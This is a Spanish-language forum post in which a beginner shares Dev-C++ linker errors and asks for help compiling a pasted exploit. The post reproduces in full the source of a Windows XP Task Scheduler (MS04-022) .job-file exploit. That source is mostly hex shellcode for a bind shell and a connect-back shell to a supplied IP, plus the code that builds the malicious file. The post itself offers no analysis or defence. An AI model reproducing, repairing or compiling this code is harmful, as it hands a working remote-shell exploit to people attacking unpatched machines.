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a todos yo tambien e querido compilar en devc++ y me da ciertos errores como en ejemplo

C:\DEV-C_~1\Bin\ld.exe: warning: cannot find entry symbol _WinMainCRTStartup; defaulting to 00401000
C:\DOCUME~1\ESTACI~1\CONFIG~1\Temp\ccE1caaa.o: In function `usage':
//c/dev-c_~1/include/objc/ms0402~1.c:233: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:234: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:235: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:236: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:237: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:238: undefined reference to `exit'
C:\DOCUME~1\ESTACI~1\CONFIG~1\Temp\ccE1caaa.o: In function `main':
//c/dev-c_~1/include/objc/ms0402~1.c:243: undefined reference to `__main'
//c/dev-c_~1/include/objc/ms0402~1.c:249: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:250: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:254: undefined reference to `atoi'
//c/dev-c_~1/include/objc/ms0402~1.c:257: undefined reference to `fopen'
//c/dev-c_~1/include/objc/ms0402~1.c:259: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:260: undefined reference to `exit'
//c/dev-c_~1/include/objc/ms0402~1.c:264: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:265: undefined reference to `fseek'
//c/dev-c_~1/include/objc/ms0402~1.c:267: undefined reference to `atoi'
//c/dev-c_~1/include/objc/ms0402~1.c:268: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:270: undefined reference to `htons@4'
//c/dev-c_~1/include/objc/ms0402~1.c:271: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:272: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:273: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:274: undefined reference to `fseek'
//c/dev-c_~1/include/objc/ms0402~1.c:279: undefined reference to `inet_addr@4'
//c/dev-c_~1/include/objc/ms0402~1.c:281: undefined reference to `htons@4'
//c/dev-c_~1/include/objc/ms0402~1.c:282: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:283: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:284: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:285: undefined reference to `fseek'
//c/dev-c_~1/include/objc/ms0402~1.c:290: undefined reference to `printf'
//c/dev-c_~1/include/objc/ms0402~1.c:291: undefined reference to `fwrite'
//c/dev-c_~1/include/objc/ms0402~1.c:292: undefined reference to `fclose'

entonces que si el exploit es este
[td][/td]/* HOD-ms04022-task-expl.c:
*
* (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
*
* Exploit version 0.1 coded by
*
*
* .::[ houseofdabus ]::.
*
*
* [at inbox dot ru]
* -------------------------------------------------------------------
* Tested on:
* - Internet Explorer 6.0 (SP1) (iexplore.exe)
* - Explorer (explorer.exe)
* - Windows XP SP0, SP1
*
* -------------------------------------------------------------------
* Compile:
* Win32/VC++ : cl HOD-ms04022-task-expl.c
* Win32/cygwin: gcc HOD-ms04022-task-expl.c -lws2_32.lib
* Linux : gcc -o HOD-ms04022-task-expl HOD-ms04022-task-expl.c
*
* -------------------------------------------------------------------
* Command Line Parameters/Arguments:
*
* HOD.exe <file> <shellcode> <bind/connectback port> [connectback IP]
*
* Shellcode:
* 1 - Portbind shellcode
* 2 - Connectback shellcode
*
* -------------------------------------------------------------------
* Example:
*
* C:\>HOD-ms04022-task-expl.exe expl.job 1 7777
*
* (MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit
*
* --- Coded by .::[ houseofdabus ]::. ---
*
*

Shellcode: Portbind, port = 7777
*
Generate file: expl.job
*
* C:\>
*
* start IE -> C:\
*
* C:\>telnet localhost 7777
* Microsoft Windows XP [,¥àá¨ï 5.1.2600]
* (') Š®à¯®à æ¨ï Œ ©ªà®á®äâ, 1985-2001.
*
* C:\Documents and Settings\v.X\ ¡®ç¨© áâ®«>
*
* -------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*
*/

/* #define _WIN32 */

#include <stdio.h>
#include <stdlib.h>
#include "winsock.h"
#ifdef _WIN32
#pragma comment(lib,"ws2_32")

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#endif

unsigned char jobfile[] =

/* job header */
"\x01\x05\x01\x00\xD9\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
"\xFF\xFF\xFF\xFF\x46\x00\x92\x00\x00\x00\x00\x00\x3C\x00\x0A\x00"
"\x20\x00\x00\x00\x00\x14\x73\x0F\x00\x00\x00\x00\x03\x13\x04\x00"
"\xC0\x00\x80\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00"

/* length */
"\x11\x11"

/* garbage C:\... */
/* unicode */
"\x43\x00\x3A\x00\x5C\x00\x61\x00"
"\x2E\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"

"\x1E\x82\xDC\x77"

/* 0x77dc821e - pop reg, pop reg, ret (advapi32.dll) */
/* for Win2k use jmp ebx or call ebx */

"\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"
"\x80\x31\x31\x80" /* generate exception */

"\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00\x61\x00"
"\x90\x90";

/* portbind shellcode */
unsigned char portbindsc[] =
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
"\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
"\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
"\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
"\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
"\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
"\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
"\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
"\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
"\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
"\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
"\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
"\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
"\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
"\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
"\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
"\x28\xff\x55\x0c";

/* connectback shellcode */
unsigned char connectbacksc[] =
"\x90\x90"
"\x90\x90\xEB\x06" /* overwrite SEH-frame */
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
"\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
"\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
"\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
"\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
"\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
"\x61\xc3\xeb\x35\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
"\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
"\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xec\xf9\xaa"
"\x60\xcb\xed\xfc\x3b\xe7\x79\xc6\x79\x83\xec\x60\x8b\xec\xeb\x02"
"\xeb\x05\xe8\xf9\xff\xff\xff\x5e\xe8\x45\xff\xff\xff\x8b\xd0\x83"
"\xee\x2e\x8d\x7d\x04\x8b\xce\x83\xc1\x10\xe8\xa5\xff\xff\xff\x83"
"\xc1\x10\x33\xc0\x66\xb8\x33\x32\x50\x68\x77\x73\x32\x5f\x8b\xdc"
"\x51\x52\x53\xff\x55\x04\x5a\x59\x8b\xd0\xe8\x85\xff\xff\xff\xb8"
"\x01\x63\x6d\x64\xc1\xf8\x08\x50\x89\x65\x30\x33\xc0\x66\xb8\x90"
"\x01\x2b\xe0\x54\x83\xc0\x72\x50\xff\x55\x1c\x33\xc0\x50\x50\x50"
"\x50\x40\x50\x40\x50\xff\x55\x14\x8b\xf0\x68\x7f\x01\x01\x01\xb8"
"\x02\x01\x11\x5c\xfe\xcc\x50\x8b\xdc\x33\xc0\xb0\x10\x50\x53\x56"
"\xff\x55\x18\x33\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa"
"\x5f\xc6\x07\x44\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab"
"\x5f\x33\xc0\x8d\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50"
"\xff\x75\x30\x50\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff"
"\x77\x38\xff\x55\x20\xff\x55\x0c";

/* use this form
unsigned char sc[] =
"\x90\x90"
"\x90\x90\xEB\x06" - overwrite SEH-frame
"\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

"... code ...";
*/

unsigned char endofjob[] = "\x00\x00\x00\x00";

#define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300+16)) = (port)
#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+283+16)) = (ip)
#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+290+16)) = (port)

void
usage(char *prog)
{
printf("Usage:\n");
printf("%s <file> <shellcode> <bind/connectback port> [connectback IP]\n", prog);
printf("\nShellcode:\n");
printf(" 1 - Portbind shellcode\n");
printf(" 2 - Connectback shellcode\n\n");
exit(0);
}

int
main(int argc, char **argv)
{
unsigned short strlen;
unsigned short port;
unsigned long ip, sc;
FILE *fp, *fp2;

printf("\n(MS04-022) Microsoft Windows XP Task Scheduler (.job) Universal Exploit\n\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");

if (argc < 4) usage(argv[0]);

sc = atoi(argv[2]);
if ( ((sc == 2) && (argc < 5)) || (sc > 2)) usage(argv[0]);

fp = fopen(argv[1], "wb");
if (fp == NULL) {
printf("[-] error: can\'t create file: %s\n", argv[1]);
exit(0);
}

/* header & garbage */
fwrite(jobfile, 1, sizeof(jobfile)-1, fp);
fseek(fp, 39*16, SEEK_SET);

port = atoi(argv[3]);
printf("
Shellcode: ");
if (sc == 1) {
SET_PORTBIND_PORT(portbindsc, htons(port));
printf("Portbind, port = %u\n", port);
fwrite(portbindsc, 1, sizeof(portbindsc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(portbindsc)-1+4)/2;
}
else {
ip = inet_addr(argv[4]);
SET_CONNECTBACK_IP(connectbacksc, ip);
SET_CONNECTBACK_PORT(connectbacksc, htons(port));
printf("Connectback, port = %u, IP = %s\n", port, argv[4]);
fwrite(connectbacksc, 1, sizeof(connectbacksc)-1, fp);
fwrite(endofjob, 1, 4, fp);
fseek(fp, 70, SEEK_SET);
/* calculate length (see header) */
strlen = (sizeof(jobfile)-1-71+sizeof(connectbacksc)-1+4)/2;
}

printf("
Generate file: %s\n", argv[1]);
fwrite(&strlen, 1, 2, fp);
fclose(fp);

return 0;
}
[td][/td]
porfavor ayudenme soy algo nuevo y e leido libros que siento que se me ba a estallar el cerebro gracias

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